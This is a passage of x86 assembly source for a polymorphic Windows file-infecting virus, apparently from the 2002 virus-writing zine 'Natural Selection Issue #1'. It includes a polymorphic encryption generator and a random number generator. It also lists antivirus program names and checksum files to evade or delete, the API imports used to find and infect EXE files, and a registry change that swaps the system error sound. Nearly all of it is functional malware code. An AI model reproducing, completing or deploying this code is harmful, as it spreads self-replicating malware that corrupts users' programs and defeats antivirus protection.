|
|
|
CreateEncryption:
|
|
mov byte ptr OpcodeFlag+ebp, 0
|
|
lea ebx, OpcodeStack+ebp
|
|
call randomslow
|
|
xchg eax, ecx
|
|
and ecx, 7
|
|
inc ecx
|
|
MakeEncryptOps:
|
|
call randomslow
|
|
and eax, 03h
|
|
cmp OpcodeFlag+ebp, al
|
|
je short MakeEncryptOps
|
|
mov OpcodeFlag+ebp, al
|
|
mov eax, [ebp+4*eax+offset EncryptOpTable]
|
|
add eax, ebp
|
|
mov dl, PolyWorkReg+ebp
|
|
call eax
|
|
loop MakeEncryptOps
|
|
mov PolyEncryptPtr+ebp, ebx
|
|
ret
|
|
|
|
|
|
; -***********************************-
|
|
; Psuedo Random Number Generator
|
|
; -***********************************-
|
|
randomslow:
|
|
if DEBUG
|
|
jmp short randomfast
|
|
endif
|
|
push edi
|
|
lea edi, CurrentTime.ft_dwHighDateTime+ebp
|
|
call RandomCommon
|
|
pop edi
|
|
ret
|
|
|
|
randomfast:
|
|
push edi
|
|
lea edi, CurrentTime.ft_dwLowDateTime+ebp
|
|
call RandomCommon
|
|
pop edi
|
|
push ecx
|
|
push edx
|
|
mov ecx, eax
|
|
jmp short RandPentiumExt
|
|
RandReturn:
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
RandPentiumExt:
|
|
db 0Fh, 31h ; rdtsc instruction (possible exceptn)
|
|
jmp $+2 ; should add SEH handler,
|
|
xor eax, ecx ; but I just don't care anymore
|
|
jmp short RandReturn
|
|
|
|
RandomCommon:
|
|
push ecx
|
|
push edx
|
|
push ebx
|
|
mov eax, dword ptr [edi]
|
|
cdq
|
|
mov ecx, 44488
|
|
idiv ecx
|
|
push edx
|
|
mov ecx, 3399
|
|
mul ecx
|
|
xchg eax, ebx
|
|
pop eax
|
|
mov ecx, 48271
|
|
mul ecx
|
|
sub eax, ebx
|
|
stosd
|
|
jnl short RandTooLow
|
|
add eax, 7FFFFFFFh
|
|
RandTooLow:
|
|
dec eax
|
|
pop ebx
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
|
|
;
|
|
; esi = Function names
|
|
; edi = address destination
|
|
; ebx = handle of Lib
|
|
;
|
|
; returns:
|
|
; carry flag clear if ok, set if error
|
|
FillImports:
|
|
lodsb
|
|
movzx ecx, al
|
|
jecxz FillImpDone
|
|
push esi
|
|
add esi, ecx
|
|
call _GetProcAddress+ebp, ebx
|
|
or eax,eax
|
|
jz short FillImpFail
|
|
stosd
|
|
jmp short FillImports
|
|
FillImpDone:
|
|
clc
|
|
ret
|
|
FillImpFail:
|
|
stc
|
|
ret
|
|
include adecode.asi
|
|
|
|
; -==============================-
|
|
; Initialized Data
|
|
; -==============================-
|
|
|
|
if DEBUGROOTDIR
|
|
RootDir db 'GOATS',0
|
|
else
|
|
RootDir dd '\',0
|
|
endif
|
|
FileMaskAny db '*.*',0
|
|
FileMaskExe db '*.EXE',0
|
|
nKernel32 db 'KERNEL32',0
|
|
nExitProcess db 'ExitProcess',0
|
|
nGetModuleHandle db 'GetModuleHandleA',0
|
|
AVNames db 3,'AVP'
|
|
db 4,'SCAN'
|
|
db 6,'FINDVI'
|
|
db 2,'F-',0
|
|
CRCNames db 13,'ANTI-VIR.DAT',0
|
|
db 11,'CHKLIST.MS',0
|
|
db 8,'AVP.CRC',0
|
|
db 8,'IVB.NTZ',0
|
|
db 0
|
|
|
|
nGetProcAddr db 'GetProcAddress',0
|
|
InfFunctions:
|
|
db 12,'CreateFileA',0
|
|
db 19,'CreateFileMappingA',0
|
|
db 14,'MapViewOfFile',0
|
|
db 16,'UnmapViewOfFile',0
|
|
db 12,'CloseHandle',0
|
|
db 15,'SetFilePointer',0
|
|
db 10,'WriteFile',0
|
|
db 24,'GetSystemTimeAsFileTime',0
|
|
db 21,'GetCurrentDirectoryA',0
|
|
db 21,'SetCurrentDirectoryA',0
|
|
db 15,'FindFirstFileA',0
|
|
db 14,'FindNextFileA',0
|
|
db 10,'FindClose',0
|
|
db 19,'SetFileAttributesA',0
|
|
db 12,'SetFileTime',0
|
|
db 12,'ExitProcess',0
|
|
db 12,'DeleteFileA',0
|
|
db 21,'GetWindowsDirectoryA',0
|
|
db 13,'LoadLibraryA',0
|
|
db 12,'FreeLibrary',0
|
|
db 0
|
|
|
|
BakaWav:
|
|
include baka.bin
|
|
|
|
bakafile db '\baka.wav',0
|
|
RegKey db '.DEFAULT\AppEvents\Schemes\Apps\.Default\AppGPFault\.Current',0
|
|
|
|
RegFunctions:
|
|
db 12,'RegOpenKeyA',0
|
|
db 12,'RegCloseKey',0
|
|
db 13,'RegSetValueA',0
|
|
db 0
|
|
|
|
|
|
VirusInitEnd:
|
|
|
|
_GetProcAddress dd ?
|
|
InfDest: ; Have to be in Same order as above
|
|
_CreateFileA dd ?
|
|
_CreateFileMappingA dd ?
|
|
_MapViewOfFile dd ?
|
|
_UnmapViewOfFile dd ?
|
|
_CloseHandle dd ?
|
|
_SetFilePointer dd ?
|
|
_WriteFile dd ?
|
|
_GetSystemTimeAsFileTime dd ?
|
|
_GetCurrentDirectoryA dd ?
|
|
_SetCurrentDirectoryA dd ?
|
|
_FindFirstFileA dd ?
|
|
_FindNextFileA dd ?
|
|
_FindClose dd ?
|
|
_SetFileAttributesA dd ?
|
|
_SetFileTime dd ?
|
|
_ExitProcess dd ?
|
|
_DeleteFileA dd ?
|
|
_GetWindowsDirectoryA dd ?
|
|
_LoadLibraryA dd ?
|
|
_FreeLibrary dd ?
|
|
RegFuncDest:
|
|
_RegOpenKeyA dd ?
|
|
_RegCloseKey dd ?
|
|
_RegSetValueA dd ?
|
|
|
|
SFCLib dd ?
|
|
_SfcIsFileProtected dd ?
|
|
|
|
SearchHnd dd ?
|
|
RegHnd dd ?
|
|
|
|
NumOfNames dd ?
|
|
ExitProcessRVA dd ?
|
|
GetModuleHandleRVA dd ?
|
|
NewVirtualSizeOfData dd ?
|
|
EmptyCodeSecRVA dd ?
|
|
EmptyCodeSecAddr dd ?
|
|
EmptyCodeSecSize dd ?
|
|
LastSectionEntryPtr dd ?
|
|
DataSectionEntryPtr dd ?
|
|
BytesWritten dd ?
|
|
FoundExitCall dd ?
|
|
|
|
ExeGoodCount dd ?
|
|
ExeBadCount dd ?
|
|
NonExeCount dd ?
|
|
ExeSizesPtr dd ?
|
|
DirCount dd ?
|
|
|
|
LetterCount db ?
|
|
LastLetter db ?
|
|
NumInfected db ?
|
|
AVCRCFlag db ?
|
|
|
|
; Regs ok are: 0-3,6,7 (eax, ecx, edx, ebx, esi, edi)
|
|
PolyFlag db ?
|
|
PolySizeCount dd ?
|
|
LoopLocation dd ?
|
|
PolyEncryptPtr dd ?
|
|
StackRestore dd ?
|
|
PolySourceReg db ?
|
|
PolyDestReg db ?
|
|
PolyCntrReg db ?
|
|
PolyWorkReg db ?
|
|
OpcodeFlag db ?
|
|
|
|
|
|
|
|
|
|
DirBuf db 256 dup (?)
|
|
CurrentTime FILETIME ?
|
|
FindFile WIN32_FIND_DATA <?>
|
|
ExeSizes dd MAXEXEPERDIR dup (?)
|
|
buffer db (MAX_PATH+10) dup (?)
|
|
PolyedVirus db VIRUSCODESIZE dup (?)
|
|
|
|
VirusEnd:
|
|
|
|
|
|
|
|
end HOST
|
|
|
|
COMMENT ` ---------------------------------------------------------------- )=-
|
|
-=( Natural Selection Issue #1 --------------- (c) 2002 Feathered Serpents )=-
|
|
-=( ---------------------------------------------------------------------- ) `
|